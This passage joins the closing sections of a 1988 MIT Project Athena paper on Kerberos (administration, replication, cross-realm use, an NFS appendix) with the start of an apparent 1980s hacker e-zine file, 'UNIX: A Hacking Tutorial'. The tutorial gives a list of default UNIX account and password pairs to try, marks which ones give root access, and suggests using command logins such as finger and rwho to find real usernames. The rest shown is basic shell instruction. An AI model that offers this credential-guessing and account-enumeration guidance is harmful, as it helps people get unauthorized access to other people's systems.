Database Management Service (KDBM). The current implementa-
tion stipulates that changes may only be made to the master
Kerberos database; slave copies are read-only. Therefore,
the KDBM server may only run on the master Kerberos machine
(see Figure 11).
March 30, 1988
- 15 -
boxwid = .5i
WS1:
box
move right
WS2:
box
move right
WS3:
box
move right
Box1:
box invis with .n at WS1.s-(0,.5i)
Slave:
box dashed
move right
Master:
box
Titles:
"WS" at WS1.n above
"WS" at WS2.n above
"WS" at WS3.n above
"Slave" at Slave.s below
"Master" at Master.s below
Arrows:
arrow from WS1.s to Master.n
arrow from WS2.s to Master.n
arrow from WS3.s to Master.n
Figure 11. Administration Requests.
Note that, while authentication can still occur (on slaves),
administration requests cannot be serviced if the master
machine is down. In our experience, this has not presented
a problem, as administration requests are infrequent.
The KDBM handles requests from users to change their
passwords. The client side of this program, which sends
requests to the KDBM over the network, is the kpasswd pro-
gram. The KDBM also accepts requests from Kerberos adminis-
trators, who may add principals to the database, as well as
change passwords for existing principals. The client side
of the administration program, which also sends requests to
the KDBM over the network, is the kadmin program.
5.1. The KDBM Server
The KDBM server accepts requests to add principals to
the database or change the passwords for existing princi-
pals. This service is unique in that the ticket-granting
service will not issue tickets for it. Instead, the authen-
tication service itself must be used (the same service that
March 30, 1988
- 16 -
is used to get a ticket-granting ticket). The purpose of
this is to require the user to enter a password. If this
were not so, then if a user left her/his workstation unat-
tended, a passerby could walk up and change her/his password
for them, something which should be prevented. Likewise, if
an administrator left her/his workstation unguarded, a
passerby could change any password in the system.
When the KDBM server receives a request, it authorizes
it by comparing the authenticated principal name of the
requester of the change to the principal name of the target
of the request. If they are the same, the request is per-
mitted. If they are not the same, the KDBM server consults
an access control list (stored in a file on the master Ker-
beros system). If the requester's principal name is found
in this file, the request is permitted, otherwise it is
denied.
By convention, names with a NULL instance (the default
instance) do not appear in the access control list file;
instead, an admin instance is used. Therefore, for a user
to become an administrator of Kerberos an admin instance for
that username must be created, and added to the access con-
trol list. This convention allows an administrator to use a
different password for Kerberos administration then s/he
would use for normal login.
All requests to the KDBM program, whether permitted or
denied, are logged.
5.2. The kadmin and kpasswd Programs
Administrators of Kerberos use the kadmin program to
add principals to the database, or change the passwords of
existing principals. An administrator is required to enter
the password for their admin instance name when they invoke
the kadmin program. This password is used to fetch a ticket
for the KDBM server (see Figure 12).
Kerbie:
circle at -1,1 "Kerberos"
Client:
circle at 0,0 "User/" "Admin"
KDBM:
circle at 1,1 "KDBM"
arrow from Client.w to Kerbie.s "1 " below
arrow from Kerbie.e to Client.n " 2" above
arrow from Client.ne to KDBM.sw "3" above
1. Request for KDBM ticket
2. Ticket for KDBM
3. kadmin or kpasswd request
Figure 12. Kerberos Administration Protocol.
March 30, 1988
- 17 -
Users may change their Kerberos passwords using the
kpasswd program. They are required to enter their old pass-
word when they invoke the program. This password is used to
fetch a ticket for the KDBM server.
5.3. Database Replication
Each Kerberos realm has a master Kerberos machine,
which houses the master copy of the authentication database.
It is possible (although not necessary) to have additional,
read-only copies of the database on slave machines elsewhere
in the system. The advantages of having multiple copies of
the database are those usually cited for replication:
higher availability and better performance. If the master
machine is down, authentication can still be achieved on one
of the slave machines. The ability to perform authentica-
tion on any one of several machines reduces the probability
of a bottleneck at the master machine.
Keeping multiple copies of the database introduces the
problem of data consistency. We have found that very simple
methods suffice for dealing with inconsistency. The master
database is dumped every hour. The database is sent, in its
entirety, to the slave machines, which then update their own
databases. A program on the master host, called kprop,
sends the update to a peer program, called kpropd, running
on each of the slave machines (see Figure 13). First kprop
sends a checksum of the new database it is about to send.
The checksum is encrypted in the Kerberos master database
key, which both the master and slave Kerberos machines pos-
sess. The data is then transferred over the network to the
kpropd on the slave machine. The slave propagation server
calculates a checksum of the data it has received, and if it
matches the checksum sent by the master, the new information
is used to update the slave's database.
March 30, 1988
- 18 -
boxwid = .75i
Box1:
box invis
move right
Master:
box "" "kprop"
move right
Box3:
box invis
Slave1:
box "kpropd" "" with .nw at Box1.sw-(0,.5i)
move right
Slave2:
box "kpropd" ""
move right
Slave3:
box "kpropd" ""
Titles:
"Master" at Master.n above
"Slave" at Slave1.s below
"Slave" at Slave2.s below
"Slave" at Slave3.s below
Arrows:
arrow from Master.s to Slave1.n
arrow from Master.s to Slave2.n
arrow from Master.s to Slave3.n
Figure 13. Database Propagation.
All passwords in the Kerberos database are encrypted in
the master database key Therefore, the information passed
from master to slave over the network is not useful to an
eavesdropper. However, it is essential that only informa-
tion from the master host be accepted by the slaves, and
that tampering of data be detected, thus the checksum.
6. Kerberos From the Outside Looking In
The section will describe Kerberos from the practical
point of view, first as seen by the user, then from the
application programmer's viewpoint, and finally, through the
tasks of the Kerberos administrator.
6.1. User's Eye View
If all goes well, the user will hardly notice that Ker-
beros is present. In our UNIX implementation, the ticket-
granting ticket is obtained from Kerberos as part of the
login process. The changing of a user's Kerberos password
is part of the passwd program. And Kerberos tickets are
March 30, 1988
- 19 -
automatically destroyed when a user logs out.
If the user's login session lasts longer than the life-
time of the ticket-granting ticket (currently 8 hours), the
user will notice Kerberos' presence because the next time a
Kerberos-authenticated application is executed, it will
fail. The Kerberos ticket for it will have expired. At
that point, the user can run the kinit program to obtain a
new ticket for the ticket-granting server. As when logging
in, a password must be provided in order to get it. A user
executing the klist command out of curiosity may be
surprised at all the tickets which have silently been
obtained on her/his behalf for services which require Ker-
beros authentication.
6.2. From the Programmer's Viewpoint
A programmer writing a Kerberos application will often
be adding authentication to an already existing network
application consisting of a client and server side. We call
this process ``Kerberizing'' a program. Kerberizing usually
involves making a call to the Kerberos library in order to
perform authentication at the initial request for service.
It may also involve calls to the DES library to encrypt mes-
sages and data which are subsequently sent between applica-
tion client and application server.
The most commonly used library functions are krb_mk_req
on the client side, and krb_rd_req on the server side. The
krb_mk_req routine takes as parameters the name, instance,
and realm of the target server, which will be requested, and
possibly a checksum of the data to be sent. The client then
sends the message returned by the krb_mk_req call over the
network to the server side of the application. When the
server receives this message, it makes a call to the library
routine krb_rd_req. The routine returns a judgement about
the authenticity of the sender's alleged identity.
If the application requires that messages sent between
client and server be secret, then library calls can be made
to krb_mk_priv (krb_rd_priv) to encrypt (decrypt) messages
in the session key which both sides now share.[7]
6.3. The Kerberos Administrator's Job
The Kerberos administrator's job begins with running a
program to initialize the database. Another program must be
run to register essential principals in the database, such
as the Kerberos administrator's name with an admin instance.
The Kerberos authentication server and the administration
server must be started up. If there are slave databases,
the administrator must arrange that the programs to pro-
pagate database updates from master to slaves be kicked off
periodically.
March 30, 1988
- 20 -
After these initial steps have been taken, the adminis-
trator manipulates the database over the network, using the
kadmin program. Through that program, new principals can be
added, and passwords can be changed.
In particular, when a new Kerberos application is added
to the system, the Kerberos administrator must take a few
steps to get it working. The server must be registered in
the database, and assigned a private key (usually this is an
automatically generated random key). Then, some data
(including the server's key) must be extracted from the
database and installed in a file on the server's machine.
The default file is /etc/srvtab. The krb_rd_req library
routine called by the server (see the previous section) uses
the information in that file to decrypt messages sent
encrypted in the server's private key. The /etc/srvtab file
authenticates the server as a password typed at a terminal
authenticates the user.
The Kerberos administrator must also ensure that Ker-
beros machines are physically secure, and would also be wise
to maintain backups of the Master database.[8]
7. The Bigger Picture
In this section, we describe how Kerberos fits into the
Athena environment, including its use by other network ser-
vices and applications, and how it interacts with remote
Kerberos realms. For a more complete description of the
Athena environment, please see G. W. Treese.[9]
7.1. Other Network Services' Use of Kerberos
Several network applications have been modified to use
Kerberos. The rlogin and rsh commands first try to authen-
ticate using Kerberos. A user with valid Kerberos tickets
can rlogin to another Athena machine without having to set
up .rhosts files. If the Kerberos authentication fails, the
programs fall back on their usual methods of authorization,
in this case, the .rhosts files.
We have modified the Post Office Protocol to use Ker-
beros for authenticating users who wish to retrieve their
electronic mail from the ``post office''. A message
delivery program, called Zephyr, has been recently developed
at Athena, and it uses Kerberos for authentication as
well.[10]
The program for signing up new users, called register,
uses both the Service Management System (SMS)[11] and Ker-
beros. From SMS, it determines whether the information
entered by the would-be new Athena user, such as name and
MIT identification number, is valid. It then checks with
Kerberos to see if the requested username is unique. If all
March 30, 1988
- 21 -
goes well, a new entry is made to the Kerberos database,
containing the username and password.
For a detailed discussion of the use of Kerberos to
secure Sun's Network File System, please refer to the appen-
dix.
7.2. Interaction with Other Kerberi
It is expected that different administrative organiza-
tions will want to use Kerberos for user authentication. It
is also expected that in many cases, users in one organiza-
tion will want to use services in another. Kerberos sup-
ports multiple administrative domains. The specification of
names in Kerberos includes a field called the realm. This
field contains the name of the administrative domain within
which the user is to be authenticated.
Services are usually registered in a single realm and
will only accept credentials issued by an authentication
server for that realm. A user is usually registered in a
single realm (the local realm), but it is possible for
her/him to obtain credentials issued by another realm (the
remote realm), on the strength of the authentication pro-
vided by the local realm. Credentials valid in a remote
realm indicate the realm in which the user was originally
authenticated. Services in the remote realm can choose
whether to honor those credentials, depending on the degree
of security required and the level of trust in the realm
that initially authenticated the user.
In order to perform cross-realm authentication, it is
necessary that the administrators of each pair of realms
select a key to be shared between their realms. A user in
the local realm can then request a ticket-granting ticket
from the local authentication server for the ticket-granting
server in the remote realm. When that ticket is used, the
remote ticket-granting server recognizes that the request is
not from its own realm, and it uses the previously exchanged
key to decrypt the ticket-granting ticket. It then issues a
ticket as it normally would, except that the realm field for
the client contains the name of the realm in which the
client was originally authenticated.
This approach could be extended to allow one to authen-
ticate oneself through a series of realms until reaching the
realm with the desired service. In order to do this,
though, it would be necessary to record the entire path that
was taken, and not just the name of the initial realm in
which the user was authenticated. In such a situation, all
that is known by the server is that A says that B says that
C says that the user is so-and-so. This statement can only
be trusted if everyone along the path is also trusted.
March 30, 1988
- 22 -
8. Issues and Open Problems
There are a number of issues and open problems associ-
ated with the Kerberos authentication mechanism. Among the
issues are how to decide the correct lifetime for a ticket,
how to allow proxies, and how to guarantee workstation
integrity.
The ticket lifetime problem is a matter of choosing the
proper tradeoff between security and convenience. If the
life of a ticket is long, then if a ticket and its associ-
ated session key are stolen or misplaced, they can be used
for a longer period of time. Such information can be stolen
if a user forgets to log out of a public workstation.
Alternatively, if a user has been authenticated on a system
that allows multiple users, another user with access to root
might be able to find the information needed to use stolen
tickets. The problem with giving a ticket a short lifetime,
however, is that when it expires, the user will have to
obtain a new one which requires the user to enter the pass-
word again.
An open problem is the proxy problem. How can an
authenticated user allow a server to acquire other network
services on her/his behalf? An example where this would be
important is the use of a service that will gain access to
protected files directly from a fileserver. Another example
of this problem is what we call authentication forwarding.
If a user is logged into a workstation and logs in to a
remote host, it would be nice if the user had access to the
same services available locally, while running a program on
the remote host. What makes this difficult is that the user
might not trust the remote host, thus authentication for-
warding is not desirable in all cases. We do not presently
have a solution to this problem.
Another problem, and one that is important in the
Athena environment, is how to guarantee the integrity of the
software running on a workstation. This is not so much of a
problem on private workstations since the user that will be
using it has control over it. On public workstations, how-
ever, someone might have come along and modified the login
program to save the user's password. The only solution
presently available in our environment is to make it diffi-
cult for people to modify software running on the public
workstations. A better solution would require that the
user's key never leave a system that the user knows can be
trusted. One way this could be done would be if the user
possessed a smartcard capable of doing the encryptions
required in the authentication protocol.
March 30, 1988
- 23 -
9. Status
A prototype version of Kerberos went into production in
September of 1986. Since January of 1987, Kerberos has been
Project Athena's sole means of authenticating its 5,000
users, 650 workstations, and 65 servers. In addition, Ker-
beros is now being used in place of .rhosts files for con-
trolling access in several of Athena's timesharing systems.
10. Acknowledgements
Kerberos was initially designed by Steve Miller and
Clifford Neuman with suggestions from Jeff Schiller and
Jerry Saltzer. Since that time, numerous other people have
been involved with the project. Among them are Jim Aspnes,
Bob Baldwin, John Barba, Richard Basch, Jim Bloom, Bill
Bryant, Mark Colan, Rob French, Dan Geer, John Kohl, John
Kubiatowicz, Bob Mckie, Brian Murphy, John Ostlund Ken Rae-
burn, Chris Reed, Jon Rochlis, Mike Shanzer, Bill Sommer-
feld, Ted T'so, Win Treese, and Stan Zanarotti.
We are grateful to Dan Geer, Kathy Lieben, Josh Lubarr,
Ken Raeburn, Jerry Saltzer, Ed Steiner, Robbert van Renesse,
and Win Treese whose suggestions much improved earlier
drafts of this paper.
The illustration on the title page is by Betsy Bruem-
mer.
March 30, 1988
- 24 -
Appendix
Kerberos Application to SUN's Network File System (NFS)
A key component of the Project Athena workstation sys-
tem is the interposing of the network between the user's
workstation and her/his private file storage (home direc-
tory). All private storage resides on a set of computers
(currently VAX 11/750s) that are dedicated to this purpose.
This allows us to offer services on publicly available UNIX
workstations. When a user logs in to one of these publicly
available workstations, rather then validate her/his name
and password against a locally resident password file, we
use Kerberos to determine her/his authenticity. The login
program prompts for a username (as on any UNIX system).
This username is used to fetch a Kerberos ticket-granting
ticket. The login program uses the password to generate a
DES key for decrypting the ticket. If decryption is suc-
cessful, the user's home directory is located by consulting
the Hesiod naming service and mounted through NFS. The
login program then turns control over to the user's shell,
which then can run the traditional per-user customization
files because the home directory is now ``attached'' to the
workstation. The Hesiod service is also used to construct
an entry in the local password file. (This is for the bene-
fit of programs that look up information in /etc/passwd.)
From several options for delivery of remote file ser-
vice, we chose SUN's Network File System. However this sys-
tem fails to mesh with our needs in a crucial way. NFS
assumes that all workstations fall into two categories (as
viewed from a file server's point of view): trusted and
untrusted. Untrusted systems cannot access any files at
all, trusted can. Trusted systems are completely trusted.
It is assumed that a trusted system is managed by friendly
management. Specifically, it is possible from a trusted
workstation to masquerade as any valid user of the file ser-
vice system and thus gain access to just about every file on
the system. (Only files owned by ``root'' are exempted.)
In our environment, the management of a workstation (in
the traditional sense of UNIX system management) is in the
hands of the user currently using it. We make no secret of
the root password on our workstations, as we realize that a
truly unfriendly user can break in by the very fact that
s/he is sitting in the same physical location as the machine
and has access to all console functions. Therefore we can-
not truly trust our workstations in the NFS interpretation
of trust. To allow proper access controls in our environ-
ment we had to make some modifications to the base NFS
March 30, 1988
software, and integrate Kerberos into the scheme.
- 25 -
Unmodified NFS
In the implementation of NFS that we started with (from
the University of Wisconsin), authentication was provided in
the form of a piece of data included in each NFS request
(called a ``credential'' in NFS terminology). This creden-
tial contains information about the unique user identifier
(UID) of the requester and a list of the group identifiers
(GIDs) of the requester's membership. This information is
then used by the NFS server for access checking. The
difference between a trusted and a non-trusted workstation
is whether or not its credentials are accepted by the NFS
server.[12]
Modified NFS
In our environment, NFS servers must accept credentials
from a workstation if and only if the credentials indicate
the UID of the workstation's user, and no other.
One obvious solution would be to change the nature of
credentials from mere indicators of UID and GIDs to full
blown Kerberos authenticated data. However a significant
performance penalty would be paid if this solution were
adopted. Credentials are exchanged on every NFS operation
including all disk read and write activities. Including a
Kerberos authentication on each disk transaction would add a
fair number of full-blown encryptions (done in software) per
transaction and, according to our envelope calculations,
would have delivered unacceptable performance. (It would
also have required placing the Kerberos library routines in
the kernel address space.)
We needed a hybrid approach, described below. The
basic idea is to have the NFS server map credentials
received from client workstations, to a valid (and possibly
different) credential on the server system. This mapping is
performed in the server's kernel on each NFS transaction and
is setup at ``mount'' time by a user-level process that
engages in Kerberos- moderated authentication prior to
establishing a valid kernel credential mapping.
To implement this we added a new system call to the
kernel (required only on server systems, not on client sys-
tems) that provides for the control of the mapping function
that maps incoming credentials from client workstations to
credentials valid for use on the server (if any). The basic
mapping function maps the tuple:
<CLIENT-IP-ADDRESS, UID-ON-CLIENT>
to a valid NFS credential on the server system. The
CLIENT-IP-ADDRESS is extracted from the NFS request packet
and the UID-ON-CLIENT is extracted from the credential
March 30, 1988
supplied by the client system. Note: all information in the
client-generated credential except the UID-ON-CLIENT is dis-
carded.
- 26 -
If no mapping exists, the server reacts in one of two
ways, depending it is configured. In our friendly confi-
guration we default the unmappable requests into the creden-
tials for the user ``nobody'' who has no privileged access
and has a unique UID. Unfriendly servers return an NFS
access error when no valid mapping can be found for an
incoming NFS credential.
Our new system call is used to add and delete entries
from the kernel resident map. It also provides the ability
to flush all entries that map to a specific UID on the
server system, or flush all entries from a given
CLIENT-IP-ADDRESS.
We modified the mount daemon (which handles NFS mount
requests on server systems) to accept a new transaction
type, the Kerberos authentication mapping request. Basi-
cally, as part of the mounting process, the client system
provides a Kerberos authenticator along with an indication
of her/his UID-ON-CLIENT (encrypted in the Kerberos authen-
ticator) on the workstation. The server's mount daemon con-
verts the Kerberos principal name into a local username.
This username is then looked up in a special file to yield
the user's UID and GIDs list. For efficiency, this file is
a ndbm database file with the username as the key. From
this information, an NFS credential is constructed and
handed to the kernel as the valid mapping of the
<CLIENT-IP-ADDRESS, CLIENT-UID> tuple for this request.
At unmount time a request is sent to the mount daemon
to remove the previously added mapping from the kernel. It
is also possible to send a request at logout time to invali-
date all mapping for the current user on the server in ques-
tion, thus cleaning up any remaining mappings that exist
(though they shouldn't) before the workstation is made
available for the next user.
Security Implications of the Modified NFS
This implementation is not completely secure. For
starters, user data is still sent across the network in an
unencrypted, and therefore interceptable, form. The low-
level, per-transaction authentication is based on a
<CLIENT-IP-ADDRESS, CLIENT-UID> pair provided unencrypted in
the request packet. This information could be forged and
thus security compromised. However, it should be noted that
only while a user is actively using her/his files (i.e.,
while logged in) are valid mappings in place and therefore
this form of attack is limited to when the user in question
is logged in. When a user is not logged in, no amount of IP
address forgery will permit unauthorized access to her/his
files.
March 30, 1988
References
- 27 -
1. S. P. Miller, B. C. Neuman, J. I. Schiller, and J. H.
Saltzer, Section E.2.1: Kerberos Authentication and
Authorization System, M.I.T. Project Athena, Cambridge,
Massachusetts (December 21, 1987).
2. E. Balkovich, S. R. Lerman, and R. P. Parmelee, "Com-
puting in Higher Education: The Athena Experience,"
Communications of the ACM, Vol. 28(11), pp. 1214-1224,
ACM (November, 1985).
3. R. M. Needham and M. D. Schroeder, "Using Encryption
for Authentication in Large Networks of Computers,"
Communications of the ACM, Vol. 21(12), pp. 993-999
(December, 1978).
4. V. L. Voydock and S. T. Kent, "Security Mechanisms in
High-Level Network Protocols," Computing Surveys, Vol.
15(2), ACM (June 1983).
5. National Bureau of Standards, "Data Encryption Stan-
dard," Federal Information Processing Standards Publi-
cation 46, Government Printing Office, Washington,
D.C. (1977).
6. S. P. Dyer, "Hesiod," in Usenix Conference Proceedings
(Winter, 1988).
7. W. J. Bryant, Kerberos Programmer's Tutorial, M.I.T.
Project Athena (In preparation).
8. W. J. Bryant, Kerberos Administrator's Manual, M.I.T.
Project Athena (In preparation).
9. G. W. Treese, "Berkeley Unix on 1000 Workstations:
Athena Changes to 4.3BSD," in Usenix Conference
Proceedings (Winter, 1988).
10. C. A. DellaFera, M. W. Eichin, R. S. French, D. C. Jed-
linsky, J. T. Kohl, and W. E. Sommerfeld, "The Zephyr
Notification System," in Usenix Conference Proceedings
(Winter, 1988).
11. M. A. Rosenstein, D. E. Geer, and P. J. Levine, in
Usenix Conference Proceedings (Winter, 1988).
12. R. Sandberg, D. Goldberg, S. Kleiman, D. Walsh, and B.
Lyon, "Design and Implementation of the Sun Network
Filesystem," in Usenix Conference Proceedings (Summer,
1985).
March 30, 1988
=============================================================================
/ /
/ File 06 / NIA070 /
/ UNIX : A Hacking Tutorial /
/ Sir Hackalot [PHAZE] /
/ /
[Editor's Note: This was an independant file that was release some time
ago, but after talking with Sir Hackalot he gave us the go-ahead of
putting it in this issue under NIA for the people that have not gotten
it as an induvidual file.]
----------------------
o Intent of this file:
----------------------
This phile is geared as an UNIX tutorial at first, to let you get more
familiar with the operating system. UNIX is just an operating system, as
is MS-DOS, AppleDOS, AmigaDOS, and others. UNIX happens to be a multi-user-
multi-tasking system, thus bringing a need for security not found on MSDOS,
AppleDOS, etc. This phile will hopefully teach the beginners who do not have
a clue about how to use UNIX a good start, and may hopefully teach old pros
something they didn't know before. This file deals with UNIX SYSTEM V and
its variants. When I talk about unix, its usually about SYSTEM V (rel 3.2).
Where Can I be found? I have no Idea. The Boards today are going Up'n'Down
so fast, 3 days after you read this file, if I put a BBS in it where you could
reach me, it may be down! Just look for me.
I can be reached on DarkWood Castle [If it goes back up], but that board
is hard to get access on, but I decided to mention it anyway.
I *COULD* Have been reached on jolnet, but......
This file may have some bad spelling, etc, or discrepencies since it was
spread out over a long time of writing, because of school, work, Girl friend,
etc. Please, no flames. If you don't like this file, don't keep it.
This is distributed under PHAZE Inc. Here are the members (and ex ones)
The Dark Pawn
The Data Wizard
Sir Hackalot (Me)
Taxi (ummm.. Busted)
Lancia (Busted)
The British Knight (Busted)
The Living Pharoah (Busted)
_____________________________________________________________________________
-------------
o Dedication:
-------------
This phile is dedicated to the members of LOD that were raided in
Atlanta. The members that got busted were very good hackers, especially
The Prophet. Good luck to you guys, and I hope you show up again somewhere.
_____________________________________________________________________________
------------------------
o A little History, etc:
------------------------
UNIX, of course, was invented By AT&T in the 60's somewhere, to be
"a programmer's operating system." While that goal was probably not reached
when they first invented UNIX, it seems that now, UNIX is a programmer's OS.
UNIX, as I have said before, is a multi-tasking/multi-user OS. It is also
written in C, or at least large parts of it are, thus making it a portable
operating system. We know that MSDOS corresponds to IBM/clone machines,
right? Well, this is not the case with UNIX. We do not associate it with
any one computer since it has been adapted for many, and there are many
UNIX variants [that is, UNIX modified by a vendor, or such]. Some AT&T
computers run it, and also some run MSDOS [AT&T 6300]. The SUN workstations
run SunOS, a UNIX variant, and some VAX computers run Ultrix, a VAX version
of UNIX. Remember, no matter what the name of the operating system is [BSD,
UNIX,SunOS,Ultrix,Xenix, etc.], they still have a lot in common, such as the
commands the operating system uses. Some variants may have features others
do not, but they are basically similar in that they have a lot of the same
commands/datafiles. When someone tries to tell you that UNIX goes along with
a certain type of computer, they may be right, but remember, some computers
have more than one Operating system. For instance, one person may tell you
that UNIX is to a VAX as MSDOS is to IBM/clones. That is untrue, and the
only reason I stated that, was because I have seen many messages with info
/comparisons in it like that, which confuse users when they see a VAX running
VMS.
____________________________________________________________________________
-------------------------------
o Identifying a Unix/Logging in
-------------------------------
From now on, I will be referring to all the UNIX variants/etc as
UNIX, so when I say something about UNIX, it generally means all the variants
(Unix System V variants that is: BSD, SunOS, Ultrix, Xenix, etc.), unless
I state a variant in particular.
Okay. Now its time for me to tell you how a unix USUALLY greets you.
First, when you call up a UNIX, or connect to one however you do, you will
usually get this prompt:
login:
Ok. Thats all fine and dandy. That means that this is PROBABLY a Unix,
although there are BBS's that can mimic the login procedure of an OS
(Operating System), thus making some people believe its a Unix. [Hah!].
Some Unixes will tell you what they are or give you a message before a
login: prompt, as such:
Welcome to SHUnix. Please log in.
login:
Or something like that. Public access Unixes [like Public BBSs] will
tell you how to logon if you are a new users. Unfortunatly, this phile is
not about public access Unixes, but I will talk about them briefly later, as
a UUCP/UseNet/Bitnet address for mail.
OK. You've gotten to the login prompt! Now, what you need to do
here is enter in a valid account. An Account usually consists of 8 characters
or less. After you enter in an account, you will probably get a password
prompt of some sort. The prompts may vary, as the source code to the login
program is usually supplied with UNIX, or is readily available for free.
Well, The easiest thing I can say to do to login is basically this:
Get an account, or try the defaults. The defaults are ones that came with
the operating system, in standard form. The list of some of the Defaults
are as follows:
ACCOUNT PASSWORD
------- --------
root root - Rarely open to hackers
sys sys / system / bin
bin sys / bin
mountfsys mountfsys
adm adm
uucp uucp
nuucp anon
anon anon
user user
games games
install install
reboot * See Below
demo demo
umountfsys umountfsys
sync sync
admin admin
guest guest
daemon daemon
The accounts root, mountfsys, umountfsys, install, and sometimes sync are
root level accounts, meaning they have sysop power, or total power. Other
logins are just "user level" logins meaning they only have power over what
files/processes they own. I'll get into that later, in the file permissions
section. The REBOOT login is what as known as a command login, which just
simply doesn't let you into the operating system, but executes a program
assigned to it. It usually does just what it says, reboot the system. It
may not be standard on all UNIX systems, but I have seen it on UNISYS unixes
and also HP/UX systems [Hewlett Packard Unixes]. So far, these accounts have
not been passworded [reboot], which is real stupid, if you ask me.
COMMAND LOGINS:
---------------
There are "command logins", which, like reboot, execute a command then log
you off instead of letting you use the command interpreter. BSD is notorious
for having these, and concequently, so does MIT's computers. Here are some:
rwho - show who is online
finger - same
who - same
These are the most useful, since they will give the account names that are
online, thus showing you several accounts that actually exist.
Errors:
-------
When you get an invalid Account name / invalid password, or both, you will
get some kind of error. Usually it is the "login incorrect" message. When
the computer tells you that, you have done something wrong by either enterring
an invalid account name, or a valid account name, but invalid password. It
does not tell you which mistake you made, for obvious reasons. Also,
when you login incorrectly, the error log on the system gets updated, letting
the sysops(s) know something is amiss.
Another error is "Cannot change to home directory" or "Cannot Change
Directory." This means that no "home directory" which is essentially the
'root' directory for an account, which is the directory you start off in.
On DOS, you start in A:\ or C:\ or whatever, but in UNIX you start in
/homedirectory. [Note: The / is used in directories on UNIX, not a \ ].
Most systems will log you off after this, but some tell you that they will
put you in the root directory [ '/'].
Another error is "No Shell". This means that no "shell" was defined
for that particular account. The "shell" will be explained later. Some
systems will log you off after this message. Others will tell you that they
will use the regular shell, by saying "Using the bourne shell", or "Using sh"
-----------------------------
Accounts In General :
-----------------------------
This section is to hopefully describe to you the user structure
in the UNIX environment.
Ok, think of UNIX having two levels of security: absolute power,
or just a regular user. The ones that have absolute power are those users
at the root level. Ok, now is the time to think in numbers. Unix associates
numbers with account names. each account will have a number. Some will have
the same number. That number is the UID [user-id] of the account. the root
user id is 0. Any account that has a user id of 0 will have root access.
Unix does not deal with account names (logins) but rather the number
associated with them. for instance, If my user-id is 50, and someone else's
is 50, with both have absolute power of each other, but no-one else.
_____________________________________________________________________________
---------------
Shells :
---------------
A shell is an executable program which loads and runs when a user
logs on, and is in the foreground. This "shell" can be any executable prog-
ram, and it is defined in the "passwd" file which is the userfile. Each
login can have a unique "shell". Ok. Now the shell that we usually will work
with is a command interpreter. A command interpreter is simply something
like MSDOS's COMMAND.COM, which processes commands, and sends them to the
kernel [operating system]. A shell can be anything, as I said before,
but the one you want to have is a command interpreter. Here are the
usual shells you will find:
sh - This is the bourne shell. It is your basic Unix "COMMAND.COM". It has
a "script" language, as do most of the command interpreters on Unix sys-
tems.
csh - This is the "C" shell, which will allow you to enter "C" like commands.
ksh - this is the korn shell. Just another command interpreter.
tcsh - this is one, which is used at MIT I believe. Allows command editing.
vsh - visual shell. It is a menu driven deal. Sorta like.. Windows for DOS
rsh - restricted shell OR remote shell. Both Explained later.
There are many others, including "homemade " shells, which are
programs written by the owner of a unix, or for a specific unix, and they
are not standard. Remember, the shell is just the program you get to use
and when it is done executing, you get logged off. A good example of a
homemade shell is on Eskimo North, a public access Unix. The shell
is called "Esh", and it is just something like a one-key-press BBS,
but hey, its still a shell. The Number to eskimo north is 206-387-3637.
[206-For-Ever]. If you call there, send Glitch Lots of mail.
Several companies use Word Processors, dat
abases, and other things
as a user shell, to prevent abuse, and make life easier for unskilled computer
operators. Several Medical Hospitals use this kind of shell in Georgia,
and fortunatly, these second rate programs leave major holes in Unix.
Also, a BBS can be run as a shell. Check out Jolnet [312]-301-2100, they
give you a choice between a command interpreter, or a BBS as a shell.
WHen you have a command interpreter, the prompt is usually a:
$
when you are a root user the prompt is usually a:
#
The variable, PS1, can be set to hold a prompt.
For instance, if PS1 is "HI:", your prompt will be:
HI:
_____________________________________________________________________________
------------------------
SPecial Characters, ETc:
------------------------
Control-D : End of file. When using mail or a text editor, this will end
the message or text file. If you are in the shell and hit control-d you get
logged off.
Control-J: On some systems, this is like the enter key.
@ : Is sometimes a "null"
? : This is a wildcard. This can represent a letter. If you specified
something at the command line like "b?b" Unix would look for bob,bib,bub,
and every other letter/number between a-z, 0-9.
* : this can represent any number of characters. If you specified a "hi*"
it would use "hit", him, hiiii, hiya, and ANYTHING that starts with
hi. "H*l" could by hill, hull, hl, and anything that starts with an
H and ends with an L.
[] - The specifies a range. if i did b[o,u,i]b unix would think: bib,bub,bob
if i did: b[a-d]b unix would think: bab,bbb,bcb,bdb. Get the idea? The
[], ?, and * are usually used with copy, deleting files, and directory
listings.
EVERYTHING in Unix is CASE sensitive. This means "Hill" and "hill" are not
the same thing. This allows for many files to be able to be stored, since
"Hill" "hill" "hIll" "hiLl", etc. can be different files. So, when using
the [] stuff, you have to specify capital letters if any files you are dealing
with has capital letters. Most everything is lower case though.
----------------
Commands to use:
----------------
Now, I will rundown some of the useful commands of Unix. I will act
as if I were typing in the actual command from a prompt.
ls - this is to get a directory. With no arguments, it will just print out
file names in either one column or multi-column output, depending on the
ls program you have access to.
example:
$ ls
hithere
runme
note.text
src
$
the -l switch will give you extended info on the files.
$ ls -l
rwx--x--x sirhack sirh 10990 runme
and so on....
the "rwx--x--x" is the file permission. [Explained Later]
the "sirhack sirh" is the owner of the file/group the file is in.
sirhack = owner, sirh = user-group the file is in [explained later]
the 10990 is the size of the file in bytes.
"runme" is the file name.
The format varies, but you should have the general idea.
cat - this types out a file onto the screen. should be used on text files.
only use it with binary files to make a user mad [explained later]
ex:
$ cat note.txt
This is a sample text file!
$
cd - change directory . You do it like this: cd /dir/dir1/dir2/dirn.
the dir1/etc.... describes the directory name. Say I want to get
to the root directory.
ex:
$ cd /
*ok, I'm there.*
$ ls
bin
sys
etc
temp
work
usr
all of the above are directories, lets say.
$ cd /usr
$ ls
sirhack
datawiz
prophet
src
violence
par
phiber
scythian
$ cd /usr/sirhack
$ ls
hithere
runme
note.text
src
$
ok, now, you do not have to enter the full dir name. if you are in
a directory, and want to get into one that is right there [say "src"], you
can type "cd src" [no "/"]. Instead of typing "cd /usr/sirhack/src" from the
sirhack dir, you can type "cd src"
cp - this copies a file. syntax for it is "cp fromfile tofile"
$ cp runme runme2
$ ls
hithere
runme
note.text
src
runme2
Full pathnames can be included, as to copy it to another directory.
$ cp runme /usr/datwiz/runme
mv - this renames a file. syntax "mv oldname newname"
$ mv runme2 runit
$ ls
hithere
runme
note.text
src
runit
files can be renamed into other directories.
$ mv runit /usr/datwiz/run
$ ls
hithere
runme
note.text
src
$ ls /usr/datwiz
runme
run
pwd - gives current directory
$ pwd
/usr/sirhack
$ cd src
$ pwd
/usr/sirhack/src
$ cd ..
$ pwd
/usr/sirhack
